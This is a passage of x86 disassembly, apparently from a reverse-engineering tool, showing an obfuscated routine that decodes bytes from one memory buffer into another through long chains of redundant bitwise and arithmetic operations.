and ah, cl
mov cl, dl
xor cl, al
add dl, cl
sub dl, ah
mov byte [0x47531b], dl
mov al, byte [0x47511c]
xor al, 0x39
mov byte [0x47531c], al
mov dl, byte [0x47511d]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
or al, 0xd8
xor al, 0xff
or dl, 0x27
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
xor cl, 0xff
and al, cl
mov byte [0x47531d], al
mov al, byte [0x47511e]
mov cl, al
xor cl, 0xff
and cl, 0x4d
mov dl, al
xor dl, 0x4d
and dl, al
mov al, cl
xor al, 0xff
xor cl, 0xff
or al, cl
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0x76
mov byte [0x47531e], al
mov al, byte [0x47511f]
mov cl, al
xor cl, 0xbb
xor cl, 0xff
and cl, 0xbb
shl cl, 1
sub cl, 0xbb
sub al, cl
mov byte [0x47531f], al
mov al, byte [0x475120]
mov cl, al
xor cl, 0xff
and cl, 0x97
and al, 0x68
or cl, al
mov byte [0x475320], cl
mov al, byte [0x475121]
xor al, 0x65
mov byte [0x475321], al
mov ah, byte [0x475122]
mov cl, ah
and cl, cl
xor cl, 0xff
mov al, cl
xor al, 5
and al, cl
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor dl, 0xff
and dl, 5
xor dl, 0xff
and dl, 0xff
or dl, 0
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, dl
xor ah, 0xff
and cl, ah
xor al, 0xff
xor dl, 0xff
and al, dl
or cl, al
xor cl, 0xff
mov byte [0x475322], cl
mov dl, byte [0x475123]
mov al, dl
xor al, 0xff
and al, 0x3b
xor dl, 0xff
or dl, 0x3b
xor dl, 0xff
and dl, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
mov byte [0x475323], al
mov al, byte [0x475124]
mov cl, al
xor cl, 0xff
and cl, 0xcc
and al, 0x33
or cl, al
xor cl, 0x57
mov byte [0x475324], cl
mov dl, byte [0x475125]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
and al, 0xfd
mov cl, dl
xor cl, 0xfd
and cl, dl
or al, cl
mov byte [0x475325], al
mov al, byte [0x475126]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xc9
xor cl, 0xff
and al, 0x36
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x475326], cl
mov al, byte [0x475127]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0xf0
xor dl, 0xff
or al, 0xf
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475327], dl
mov dl, byte [0x475128]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
and al, 0x47
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
xor dl, 0xff
or dl, 0x47
or al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
or al, cl
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
mov byte [0x475328], al
mov dl, byte [0x475129]
mov cl, dl
xor cl, 0xff
mov al, cl
and al, 0x2d
xor al, 0xff
xor cl, 0xff
or cl, 0xd2
and al, cl
xor al, 0xff
and dl, 0xd2
or al, dl
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0xe3
xor dl, 0xff
and al, 0x1c
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x475329], dl
mov al, byte [0x47512a]
mov cl, al
xor cl, 0xff
and cl, 0x4d
and al, 0xb2
or cl, al
xor cl, 0
mov byte [0x47532a], cl
mov al, byte [0x47512b]
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
mov byte [0x47532b], al
mov al, byte [0x47512c]
xor al, 0x34
mov byte [0x47532c], al
mov dl, byte [0x47512d]
mov cl, dl
and cl, cl
mov al, cl
xor al, 0xff
xor cl, 0xff
and al, cl
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
and al, 0xe3
xor al, 0xff
xor dl, 0xff
or dl, 0xe3
or al, al
xor al, 0xff
or dl, dl
xor dl, 0xff
or al, dl
xor al, 0xff
xor al, 0xff
mov byte [0x47532d], al
mov dl, byte [0x47512e]
mov al, dl
and al, al
xor al, 0xff
and al, 0xe5
xor al, 0xff
and al, 0xff
or al, 0
mov ah, dl
and ah, 0x1a
xor ah, 0xff
and dl, 0x1a
xor dl, 0xff
and ah, dl
xor ah, 0xff
mov dl, ah
xor dl, 0xff
and dl, 0x9d
and ah, 0x62
or dl, ah
xor dl, 0x62
xor al, 0xff
and al, 0xff
or al, 0
xor dl, 0xff
or al, dl
mov byte [0x47532e], al
mov al, byte [0x47512f]
xor al, 0xce
mov byte [0x47532f], al
mov al, byte [0x475130]
mov dl, al
and dl, dl
xor dl, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
or dl, 0x50
xor al, 0xff
or al, 0xaf
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475330], dl
mov al, byte [0x475131]
xor al, 0xa9
mov byte [0x475331], al
mov al, byte [0x475132]
mov cl, al
xor cl, 0x20
xor cl, 0xff
and cl, 0x20
shl cl, 1
sub cl, 0x20
sub al, cl
mov byte [0x475332], al
mov al, byte [0x475133]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0xff
or dl, 0x35
xor cl, 0xff
or cl, 0x35
and dl, cl
xor dl, 0xff
and al, 0x35
or dl, al
xor dl, 1
mov byte [0x475333], dl
mov al, byte [0x475134]
xor al, 0xcd
mov byte [0x475334], al
mov al, byte [0x475135]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
and dl, 0x32
mov cl, al
add cl, 1
xor al, 0xff
or al, 0xcd
add al, cl
or dl, al
mov byte [0x475335], dl
mov dl, byte [0x475136]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
or al, 0x72
xor al, 0xff
and al, 0xff
xor al, 0xff
and dl, 0x72
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
xor dl, 0xff
or al, dl
xor al, 0xff
and al, 0xff
xor al, 0xff
mov byte [0x475336], al
mov al, byte [0x475137]
xor al, 0xab
mov byte [0x475337], al
mov al, byte [0x475138]
xor al, 0xba
mov byte [0x475338], al
mov al, byte [0x475139]
xor al, 6
mov byte [0x475339], al
mov al, byte [0x47513a]
xor al, 0xb8
mov byte [0x47533a], al
mov al, byte [0x47513b]
xor al, 0x51
mov byte [0x47533b], al
mov al, byte [0x47513c]
mov cl, al
xor cl, 0x48
xor cl, 0xff
and cl, 0x48
shl cl, 1
add cl, 0xb7
add cl, 1
sub al, cl
mov byte [0x47533c], al
mov al, byte [0x47513d]
xor al, 0xcd
mov byte [0x47533d], al
mov al, byte [0x47513e]
xor al, 0x45
mov byte [0x47533e], al
mov cl, byte [0x47513f]
mov al, cl
xor al, 0xff
and al, 0x3c
and cl, 0xc3
mov dl, al
or dl, cl
xor dl, 0xff
or al, cl
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47533f], dl
mov al, byte [0x475140]
mov cl, al
xor cl, 0x1d
xor cl, 0xff
and cl, 0x1d
shl cl, 1
sub cl, 0x1d
sub al, cl
mov byte [0x475340], al
mov dl, byte [0x475141]
mov al, dl
xor al, 0xff
and al, 0xc5
mov cl, dl
and cl, 0x3a
or al, cl
xor al, 0x3a
and al, 0x52
and dl, 0xad
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
mov cl, al
xor cl, 0xda
xor cl, 0xff
and cl, 0xda
shl cl, 1
sub cl, 0xda
sub al, cl
mov byte [0x475341], al
mov al, byte [0x475142]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0x3e
xor al, 0xff
or al, 0xc1
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475342], dl
mov al, byte [0x475143]
xor al, 0x81
mov byte [0x475343], al
mov al, byte [0x475144]
xor al, 0x31
mov byte [0x475344], al
mov al, byte [0x475145]
xor al, 0xe
mov byte [0x475345], al
mov al, byte [0x475146]
xor al, 3
mov byte [0x475346], al
mov bl, byte [0x475147]
mov al, bl
xor al, 0xde
xor al, 0xff
and al, 0xde
shl al, 1
sub al, 0xde
mov dl, bl
sub dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
and dl, 0xde
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xde
sub bl, al
mov byte [0x475347], bl
mov cl, byte [0x475148]
mov al, cl
xor al, 0xff
or al, 0xb0
add al, 0x50
and cl, 0xb0
mov dl, cl
and dl, al
xor dl, 0xff
add al, cl
add al, 1
add al, dl
mov byte [0x475348], al
mov al, byte [0x475149]
mov cl, al
and cl, 0x4e
shl cl, 1
add al, 0x4e
sub al, cl
mov byte [0x475349], al
mov al, byte [0x47514a]
xor al, 0xd2
mov byte [0x47534a], al
mov al, byte [0x47514b]
mov cl, al
xor cl, 0xff
and cl, 0xca
and al, 0x35
or cl, al
xor cl, 0x71
mov byte [0x47534b], cl
mov al, byte [0x47514c]
mov cl, al
and cl, 0x8b
shl cl, 1
mov dl, al
and dl, 0x8b
or al, 0x8b
add dl, al
sub dl, cl
mov byte [0x47534c], dl
mov al, byte [0x47514d]
xor al, 0xbd
mov byte [0x47534d], al
mov cl, byte [0x47514e]
mov dl, cl
and dl, 0x1a
mov al, dl
xor al, 0xff
mov ch, al
and ch, 2
or al, 2
xor al, 0xff
mul ch
mov dh, al
mov ch, dl
and ch, 2
or dl, 2
mov al, dl
mul ch
add al, dh
xor ebx, ebx
sub bl, cl
add bl, 0xe6
xor edx, edx
sub dl, bl
mov cl, dl
xor cl, al
xor al, 0xff
and dl, al
shl dl, 1
sub dl, cl
mov byte [0x47534e], dl
mov al, byte [0x47514f]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
or ah, cl
and ah, 0xff
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
mov dl, ah
and dl, 0xba
xor dl, 0xff
and ah, 0xba
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
or dl, ah
or al, al
xor al, 0xff
xor al, 0xff
and al, 0x45
mov cl, al
and cl, dl
xor cl, 0xff
add dl, al
add dl, 1
add dl, cl
mov byte [0x47534f], dl
mov al, byte [0x475150]
mov dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x52
xor dl, 0xff
xor al, 0xff
or al, 0x52
xor dl, 0xff
xor al, 0xff
and al, 0xff
or al, 0
mov ah, dl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, ah
and dh, 5
and dl, 0xfa
mov cl, bl
and cl, 5
and al, 0xfa
or dh, dl
or cl, al
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
mov byte [str.0A], dh
mov dl, byte [0x475151]
mov al, dl
xor al, 0xff
and al, 0x57
mov cl, dl
and cl, 0xa8
or al, cl
xor al, 0xa8
mov cl, dl
xor cl, 0xff
or al, cl
and al, 0x2c
xor al, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
mov ah, dl
xor ah, 0xff
mov dh, ah
and dh, 7
and dl, 0xf8
or dh, dl
xor dh, 0x2b
or ah, 0xd3
xor ah, 0xff
and ah, 0xff
or dh, ah
and al, dh
xor al, 0xff
mov byte [0x475351], al
mov al, byte [0x475152]
xor al, 0x40
mov byte [0x475352], al
mov al, byte [0x475153]
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xbd
xor al, 0xff
and al, 0x42
or cl, al
xor cl, 0xff
mov byte [0x475353], cl
mov al, byte [0x475154]
mov cl, al
and cl, 0x36
shl cl, 1
add al, 0x36
sub al, cl
mov byte [0x475354], al
mov cl, byte [0x475155]
mov al, cl
xor al, 0xff
or al, al
xor al, 0xff
or al, 0x19
xor al, 0xff
and cl, 0x19
or al, cl
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0xb9
xor dl, 0xff
xor al, 0xff
and al, 0xb9
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475355], dl
mov bl, byte [0x475156]
mov al, bl
xor al, 0x1d
xor al, 0xff
mov dl, bl
or dl, 0x1d
and dl, al
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, bl
and cl, 0x1d
shl cl, 1
xor bl, 0x1d
add bl, cl
add bl, 0x42
sub bl, al
sub bl, 0x42
mov byte [0x475356], bl
mov al, byte [0x475157]
mov cl, al
and cl, 0xcc
shl cl, 1
sub al, 0x34
sub al, cl
mov byte [0x475357], al
mov al, byte [0x475158]
xor al, 0xfa
mov byte [0x475358], al
mov cl, byte [0x475159]
mov al, cl
and al, 0xd7
shl al, 1
xor ebx, ebx
sub bl, cl
add bl, 0x29
xor edx, edx
sub dl, bl
xor ecx, ecx
sub cl, al
add dl, cl
mov byte [0x475359], dl
mov bl, byte [0x47515a]
mov al, bl
add al, 1
mov dl, bl
xor dl, 0xff
or dl, 0x28
add dl, al
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x28
sub bl, 0xa3
sub bl, al
add bl, 0xa3
mov byte [0x47535a], bl
mov al, byte [0x47515b]
xor al, 0x4a
mov byte [0x47535b], al
mov dl, byte [0x47515c]
mov al, dl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
and al, 0xf7
xor dl, 0xff
or dl, 0xf7
xor dl, 0xff
and dl, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
xor al, 0x98
mov byte [0x47535c], al
mov al, byte [0x47515d]
mov cl, al
xor cl, 0xff
xor cl, 0xff
xor cl, 0xe6
and cl, 0xe6
and al, 0x19
or cl, al
xor cl, 0xb
mov byte [0x47535d], cl
mov al, byte [0x47515e]
xor al, 0xaa
mov byte [0x47535e], al
mov al, byte [0x47515f]
xor al, 0x67
mov byte [0x47535f], al
mov al, byte [0x475160]
mov cl, al
and cl, 0x39
shl cl, 1
add al, 0x39
sub al, cl
mov byte [0x475360], al
mov al, byte [0x475161]
xor al, 0xce
mov byte [str.R_jg], al
mov cl, byte [0x475162]
mov al, cl
xor al, 0xff
and al, 0x97
or cl, cl
xor cl, 0xff
or cl, 0x97
xor cl, 0xff
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, dl
xor al, 0xff
and al, 0xb7
and dl, 0x48
or al, dl
xor al, 0xfc
mov byte [0x475362], al
mov bl, byte [0x475163]
mov dl, bl
xor dl, 0xff
mov al, bl
xor al, 0xff
or dl, al
xor dl, 0xff
or dl, 0x4d
mov al, bl
and al, 0x4d
xor al, 0xff
and dl, al
xor dl, 0xff
xor dl, 0xff
and dl, 0xb2
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xb2
xor al, 0xff
add bl, al
add bl, 1
mov byte [0x475363], bl
mov al, byte [0x475164]
xor al, 0x91
mov byte [0x475364], al
mov al, byte [0x475165]
mov cl, al
xor cl, 0xff
and cl, 0xb2
and al, 0x4d
or cl, al
mov byte [0x475365], cl
mov al, byte [0x475166]
xor al, 0xd4
mov byte [0x475366], al
mov dl, byte [0x475167]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
and al, 0xff
xor al, 0xff
xor al, 0xff
or al, 0
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
xor al, 0xff
or al, 0x27
xor al, 0xff
and al, 0xff
mov ah, dl
or ah, 0xd8
xor ah, 0xff
or dl, 0xd8
xor dl, 0xff
xor ah, 0xff
xor dl, 0xff
and ah, dl
xor ah, 0xff
and ah, 0xff
or ah, 0
mov dl, al
xor dl, 0xff
mov cl, ah
xor cl, 0xff
and dl, cl
xor al, 0xff
xor ah, 0xff
and al, ah
xor dl, 0xff
xor al, 0xff
and dl, al
and dl, dl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
mov byte [0x475367], dl
mov al, byte [0x475168]
mov cl, al
xor cl, cl
xor cl, 0xff
mov dl, al
or dl, dl
and dl, cl
xor dl, 0xff
mov cl, dl
xor cl, 0xf7
xor cl, 0xff
or dl, 0xf7
and dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
and al, al
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
or al, 0xf7
and dl, al
xor dl, 0xff
mov byte [0x475368], dl
mov al, byte [0x475169]
xor al, 0x7c
mov byte [0x475369], al
mov bl, byte [0x47516a]
mov dl, bl
xor dl, 0xff
and dl, 0x7a
mov al, bl
and al, 0x85
or dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
and dl, 0x7a
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, al
xor cl, 0x7a
and al, 0x85
shl al, 1
sub al, cl
xor ecx, ecx
sub cl, al
add bl, cl
mov byte [0x47536a], bl
mov al, byte [0x47516b]
xor al, 0xdf
mov byte [0x47536b], al
mov al, byte [0x47516c]
mov cl, al
xor cl, 0xff
and cl, 0xfc
and al, 3
or cl, al
xor cl, 0xe2
mov byte [0x47536c], cl
mov al, byte [0x47516d]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
mov ah, al
sub ah, cl
mov cl, dl
xor cl, ah
xor cl, 0xff
or dl, ah
and dl, cl
or dl, 0x9d
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
mov cl, al
and cl, 0x9d
mov ah, al
xor ah, 0x62
add al, ah
sub al, cl
xor al, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
and dl, al
mov byte [0x47536d], dl
mov dl, byte [0x47516e]
mov cl, dl
xor cl, 0xff
mov ah, dl
xor ah, 0xff
mov al, cl
xor al, 0xff
xor cl, 0xff
or al, cl
and ah, ah
xor ah, 0xff
and al, ah
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
or al, 0x66
xor dl, 0xff
or dl, 0x99
xor dl, 0xff
and dl, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0x23
and dl, 0xdc
or cl, dl
xor cl, 0xdc
xor al, 0xff
xor cl, 0xff
or al, cl
mov byte [0x47536e], al
mov dl, byte [str.__]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0xce
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0x55
and dl, 0xaa
or cl, dl
xor cl, 0xaa
mov dl, cl
xor dl, 0x31
and dl, cl
mov ah, al
xor ah, 0xff
xor al, 0xff
and ah, al
or ah, 0
xor ah, 0xff
or ah, 0
xor ah, 0xff
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
mov al, ah
xor al, dl
and al, ah
mov byte [0x47536f], al
mov al, byte [0x475170]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x22
xor dl, 0xff
xor al, 0xff
and al, 0x22
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475370], dl
mov cl, byte [0x475171]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0xb4
xor al, 0xff
xor cl, 0xff
or cl, 0xb4
and al, cl
xor al, 0xff
mov byte [0x475371], al
mov al, byte [0x475172]
mov cl, al
xor cl, 0xff
and cl, 0x50
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xaf
or cl, al
mov byte [0x475372], cl
mov al, byte [0x475173]
mov cl, al
xor cl, 0xcb
xor cl, 0xff
and cl, 0xcb
shl cl, 1
sub cl, 0xcb
sub al, cl
mov byte [0x475373], al
mov bl, byte [0x475174]
mov dl, bl
and dl, 0xb0
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xb0
sub bl, al
mov byte [0x475374], bl
mov dl, byte [0x475175]
mov cl, dl
and cl, 0xff
shl cl, 1
mov al, dl
add al, 0xff
sub al, cl
mov cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
and al, cl
xor al, 0xff
and al, 0x19
xor dl, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0xe6
or al, cl
xor al, 0xff
mov byte [0x475375], al
mov al, byte [0x475176]
xor al, 0x6a
mov byte [0x475376], al
mov al, byte [0x475177]
mov cl, al
xor cl, 0x35
xor cl, 0xff
and cl, 0x35
shl cl, 1
sub cl, 0x35
sub al, cl
mov byte [0x475377], al
mov dl, byte [0x475178]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
or al, 0xc7
xor al, 0xff
and al, 0xff
and dl, 0xc7
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
mov byte [0x475378], al
mov cl, byte [0x475179]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xa0
xor cl, 0xff
mov dl, cl
xor dl, 0xa0
and dl, cl
xor al, 0xff
xor dl, 0xff
and al, dl
mov byte [0x475379], al
mov al, byte [0x47517a]
xor al, 0x35
mov byte [0x47537a], al
mov al, byte [0x47517b]
xor al, 0xda
mov byte [0x47537b], al
mov al, byte [0x47517c]
mov cl, al
and cl, 0xb6
shl cl, 1
add al, 0xb6
sub al, cl
mov byte [0x47537c], al
mov al, byte [0x47517d]
xor al, 0xe2
mov byte [0x47537d], al
mov al, byte [0x47517e]
xor al, 0x35
mov byte [0x47537e], al
mov cl, byte [0x47517f]
mov al, cl
xor al, 0xff
and al, 0x85
mov dl, cl
and dl, 0x7a
or al, dl
xor al, 0x7a
and al, 0xe8
mov dl, cl
xor dl, 0xe8
and dl, cl
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
and dl, dl
xor dl, 0xff
and cl, dl
xor cl, 0xff
xor cl, 0xd9
mov byte [0x47537f], cl
mov dl, byte [0x475180]
mov al, dl
xor al, 0xff
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
xor cl, 0xff
or cl, 0
and al, cl
mov cl, al
and cl, 0xca
xor cl, 0xff
add al, 0xca
add al, 1
add al, cl
xor al, 0xff
or dl, 0x35
xor dl, 0xff
mov cl, dl
and cl, al
xor cl, 0xff
add al, dl
add al, 1
add al, cl
or al, al
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
mov byte [0x475380], al
mov al, byte [0x475181]
xor al, 0xf2
mov byte [0x475381], al
mov al, byte [0x475182]
xor al, 2
mov byte [0x475382], al
mov al, byte [0x475183]
xor al, 0xa2
mov byte [0x475383], al
mov al, byte [0x475184]
xor al, 0x6a
mov byte [0x475384], al
mov al, byte [0x475185]
xor al, 0x4f
mov byte [0x475385], al
mov al, byte [0x475186]
xor al, 0x62
mov byte [0x475386], al
mov al, byte [0x475187]
mov cl, al
xor cl, 0xff
and cl, 0xbd
and al, 0x42
or cl, al
mov byte [0x475387], cl
mov al, byte [0x475188]
xor al, 0x89
mov byte [0x475388], al
mov al, byte [0x475189]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
mov ah, al
xor ah, 0xff
or cl, ah
xor cl, 0xff
or cl, 0
and cl, 0xff
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x8b
or al, 0x8b
xor al, 0xff
and al, 0xff
or al, 0
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x475389], dl
mov al, byte [0x47518a]
xor al, 0x71
mov byte [0x47538a], al
mov al, byte [0x47518b]
xor al, 0x4b
mov byte [0x47538b], al
mov bl, byte [0x47518c]
mov dl, bl
xor dl, 0xa2
mov al, dl
xor al, 0xff
xor al, 0xff
and al, 0xff
shl al, 1
sub al, 0xff
sub dl, al
and dl, 0xa2
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
mov cl, al
xor cl, 0xa2
and al, 0x5d
shl al, 1
sub al, cl
sub bl, al
mov byte [0x47538c], bl
mov al, byte [0x47518d]
xor al, 0xa4
mov byte [0x47538d], al
mov al, byte [0x47518e]
mov cl, al
xor cl, 0xff
and cl, 0x5e
and al, 0xa1
or cl, al
xor cl, 0x13
mov byte [0x47538e], cl
mov al, byte [0x47518f]
mov cl, al
xor cl, 0xff
and cl, 0xa
and al, 0xf5
or cl, al
mov byte [0x47538f], cl
mov al, byte [0x475190]
mov cl, al
xor cl, 0xff
and cl, 0x28
and al, 0xd7
or cl, al
mov byte [0x475390], cl
mov al, byte [0x475191]
xor al, 6
mov byte [0x475391], al
mov al, byte [0x475192]
xor al, 0x4d
mov byte [0x475392], al
mov al, byte [0x475193]
xor al, 0x1a
mov byte [0x475393], al
mov al, byte [0x475194]
xor al, 0xbb
mov byte [0x475394], al
mov al, byte [str.YY_]
mov ah, al
xor ah, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
or ah, dl
mov dl, ah
and dl, 0xe9
xor dl, 0xff
and ah, 0xe9
xor ah, 0xff
xor dl, 0xff
xor ah, 0xff
or dl, ah
xor dl, 0xff
xor al, 0xff
or al, 0xe9
xor al, 0xff
and al, 0xff
xor al, 0xff
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
mov cl, al
xor cl, 0xff
xor al, 0xff
and cl, al
xor ah, 0xff
xor cl, 0xff
and ah, cl
xor ah, 0xff
mov byte [0x475395], ah
mov al, byte [0x475196]
mov cl, al
xor cl, 0xff
and cl, 0xb0
mov dl, al
add dl, 1
xor al, 0xff
or al, 0x4f
add al, dl
or cl, al
xor cl, 0x23
mov byte [0x475396], cl
mov al, byte [0x475197]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x80
xor dl, 0xff
xor al, 0xff
or al, 0x80
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x475397], dl
mov al, byte [0x475198]
xor al, 0x56
mov byte [0x475398], al
mov cl, byte [0x475199]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0x56
xor al, 0xff
and cl, 0xa9
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x475399], al
mov al, byte [0x47519a]
xor al, 0x31
mov byte [0x47539a], al
mov dl, byte [0x47519b]
mov al, dl
xor al, 0xff
and al, 0x79
mov cl, dl
and cl, 0x86
or al, cl
xor al, 0x86
xor al, 0xff
or al, 0x22
xor al, 0xff
and al, 0xff
mov ah, dl
xor ah, 0xff
or ah, 0xdd
and dl, 0x22
xor dl, 0xff
xor ah, 0xff
xor dl, 0xff
or ah, dl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov byte [0x47539b], cl
mov al, byte [0x47519c]
mov cl, al
and cl, 0xff
shl cl, 1
mov dl, al
add dl, 0xff
sub dl, cl
mov cl, dl
xor cl, 0xbf
xor cl, 0xff
or dl, 0xbf
and dl, cl
and al, 0x40
or dl, al
xor dl, 0x7d
mov byte [0x47539c], dl
mov al, byte [0x47519d]
mov cl, al
xor cl, 0xff
and cl, 0x83
and al, 0x7c
or cl, al
xor cl, 0x9e
mov byte [0x47539d], cl
mov al, byte [0x47519e]
mov dl, al
or dl, dl
xor dl, 0xff
and dl, 0xff
or dl, 0
or dl, 0x96
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
or al, 0x69
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
and dl, al
